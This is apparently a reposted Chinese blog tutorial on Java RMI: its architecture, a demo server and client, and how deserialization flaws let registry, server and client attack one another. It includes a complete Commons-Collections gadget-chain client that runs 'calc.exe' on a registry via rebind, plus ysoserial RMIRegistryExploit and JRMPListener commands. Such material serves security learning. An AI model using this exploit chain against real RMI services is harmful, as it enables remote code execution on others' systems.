Javaweb安全学习——RMI反序列化

RMI

RMI(Remote Method Invocation)Java远程方法调用,RMI用于构建分布式应用程序,类似于RPC(Remote Procedure Call Protocol)远程过程调用协议RMI实现了Java程序之间跨JVM的远程通信,使得一个JMV上的对象可以调用另一个JMV上的方法(方法在远程JVM上执行,只是返回运行结果)。这两个JVM可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

RMI架构:

RMI分为三个主体部分:Client,Server,Registry。

在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功。

本文环境Server与Registry均在服务端上

Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用。registry作用就好像是,病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)的在哪个门诊室再去看病(执行远程方法)。

RMI底层通讯采用了Stub(运行在客户端)Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

​ 整个过程会进行两次TCP连接,第一次是让Client获取到这个Name和对象的绑定关系,第二次再去连接Server并调用远程方法。

第一次TCP

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)

  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。

  3. RemoteCall序列化RMI服务名称Remote对象。

  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层

  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)

  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。

  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。

    第二次TCP:

  8. RMI客户端反序列化服务端结果,获取远程对象的引用。

  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。

  10. RMI客户端反序列化RMI远程方法调用结果。

详细调用过程参考:https://blog.csdn.net/qsort_/article/details/104861625

https://www.cnblogs.com/yyhuni/p/15091121.html#registryimpl_stubbind

建议在看第二部分的反序列化之前最好先调试一遍,这里不再赘述。

下面提供一个最简单的RMI demo:

Server

package RMI;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMI_Server{
    
    
    public interface RMIHelloInterface extends Remote {
    
    
        String hello() throws RemoteException;
    }
    public class RMIHelloWorld extends UnicastRemoteObject implements RMIHelloInterface{
    
    
            protected RMIHelloWorld() throws RemoteException {
    
    
            super();
        }

        public String hello() throws RemoteException {
    
    
            return "Hello RMI~";
        }
    }
    private void start() throws Exception{
    
    
               //System.setProperty("java.rmi.server.hostname","vpsip");
        //RMISocketFactory.setSocketFactory(new CustomerSocketFactory());
        LocateRegistry.createRegistry(7999);
        RMIHelloWorld h = new RMIHelloWorld();
        //不用bind是防止测试的时候重复绑定导致失败
        Naming.rebind("rmi://localhost:7999/hello",h);
    }

    public static void main(String[] args) throws Exception {
    
    
        new RMI_Server().start();
    }
}

Client

package RMI;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMI_Client {
    
    
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
    
    
        RMI_Server.RMIHelloInterface hello = (RMI_Server.RMIHelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");
        String ret = hello.hello();
        System.out.println(ret);
    }
}

在这里插入图片描述

代码中的Naming只是一个工具类,是对Registry操作的封装。

Naming.rebind("//host/objName", myObj);
//而使用Registry,需要注册表对象上的现有句柄
Registry registry = LocateRegistry.getRegistry("host");
registry.rebind("objName", myObj);

在这里插入图片描述

不过Server一般都在公网的vps上,hostname和公网IP是不同的,需要在Server的hello方法的一开始加上

System.setProperty("java.rmi.server.hostname","所部属的服务器公网Ip地址");

将服务器IP的变量设置为系统全局变量—java rmi的主机名,可以让客户端连接到该服务端。

客户端程序向服务端请求一个对象的时候,返回的stub对象里面包含了服务器的hostname,客户端的后续操作根据这个hostname来连接服务器端。在服务器中通常为内网的IP地址,VM虚拟机中若是开启DHCP则为127.0.1.1 newFQDN newHostname都会第二次TCP请求导致无法连接到RMIServer

还得指定通讯端口(第二次TCP),防止被防火墙拦截,必须在注册端口之前调用

RMISocketFactory.setSocketFactory(new CustomerSocketFactory());

CustomerSocketFactory类:

package RMI;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.server.RMISocketFactory;

public class CustomerSocketFactory extends RMISocketFactory {
    
    
    @Override
    public Socket createSocket(String host, int port) throws IOException {
    
    
        return new Socket(host, port);
    }

    @Override
    public ServerSocket createServerSocket(int port) throws IOException {
    
    
        if (port == 0) {
    
    
            port = 7777;
        }
        System.out.println("rmi notify port:" + port);
        return new ServerSocket(port);
    }
}

这两句一定要在最前面,我一开始测试的时候把定义了远程函数的类实例化放最前面就一直报错连不上,指定通讯端口也不起效。

RMI反序列化漏洞

RMI通信中所有的对象都是通过Java序列化(客户端序列化,服务端反序列化)传输的,那就会有readObject操作,如果在服务端上构建一个恶意对象,这个对象经过序列化后传输到RMIServer端,RMIServer端在反序列化时候就会触发反序列化漏洞。

RMI反序列化漏洞的存在必须满足两个条件:

  1. RMI通信
  2. 目标服务器引用了第三方存在反序列化漏洞的jar包(如:commons-collections.jar 3.1)

测试环境还需要注意,以下版本之后已经通过JEP290机制进行修复,

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

本文基于jdk1.7.0_80版本进行测试。

既然是反序列化漏洞,就得先去找到readObject的位置。分析RMI通讯的过程,可以发现出现序列化操作主要出现在与Registry通讯的过程:即bind / lookup操作

去动态调试调用过程的话,可以看到Server的createRegistry方法获得的是RegistryImpl对象,而getRegistry方法获得的是RegistryImpl_Stub对象。

且不论是Server上常用的bind/rebind方法或是Client上常用的lookup 方法,最后都会由服务端上的RegistryImpl_Skel#dispatch方法去处理不同对象所对应的方法,且五种方法都是可在Server/Client上调用的。
在这里插入图片描述

var3是一个int类型的数组,分别对应了

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

可以看见bind/rebind当中均存在.readObject(),其中的var8就是我们RMIExploit传入的恶意Remote的序列化对象。

在这里插入图片描述

lookup也有.readObject()
在这里插入图片描述

这时候再回过头来看看RMI交互过程:

在这里插入图片描述

Client在与Registry通信的时候bind&rebind / lookup都可被调用触发readObject(),那么就可以攻击Registry(服务端)了;另外除了unbind&rebind都会返回序列化形式的数据,到了客户端就得反序列化,如果伪造一个恶意的Registry服务器让Client连接,就能实现对Client的攻击。

攻击服务端:

bind&rebind

修改Client的代码为:

package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class RMI_Client {
    
    
    public static void main(String[] args) throws Exception {
    
    
        try {
    
    

            Transformer[] transformers = new Transformer[]{
    
    
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
    
    Object.class, Object[].class}, new Object[]{
    
    null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc.exe"}),
            };
            Transformer transformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map ouputMap = LazyMap.decorate(innerMap, transformer);

            TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, tiedMapEntry);

            Map tmpMap = new HashMap();
            tmpMap.put("pwn", badAttributeValueExpException);
            Constructor<?> ctor = null;
            ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
            Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMI_Client.class.getClassLoader(), new Class[]{
    
    Remote.class}, invocationHandler));
            Naming.rebind("rmi://localhost:7999/hello",remote);
        } catch (Exception e) {
    
    
            e.printStackTrace();
        }
}
}

实际上是将gadget使用代理Remote类的方式然后通过bind往Registry发
在这里插入图片描述

这一攻击方法在ysoserial中已有实现,在项目中配置一个CommonsCollections3.1,然后启动一个RMI Registry,接下来运行:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "calc.exe"

lookup

通过伪造连接请求进行利用,修改lookup方法代码使其可以传入对象:https://xz.aliyun.com/t/9053#toc-0

攻击客户端:

使用ysoserial的JRMPListener伪造恶意的RMI Registry:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7999  CommonsCollections1 'calc.exe'

在这里插入图片描述

在这里插入图片描述

此外还有调用远程方法传参Object,远程方法返回结果为Object等情况,还有JEP290的绕过,下面这些文章已经做了详细的梳理:

https://xz.aliyun.com/t/9053

https://www.anquanke.com/post/id/263726

https://paper.seebug.org/1194

总结

RMI数据传输都是基于序列化数据传输,所以RMI Registry、Client、Server都能相互攻击,JEP290的绕过主要利用RMI过滤器的白名单类中的类来bypass实现反序列化。另外低版本版本还存在利用codebase进行攻击。

猜你喜欢

转载自blog.csdn.net/weixin_43610673/article/details/124138537
今日推荐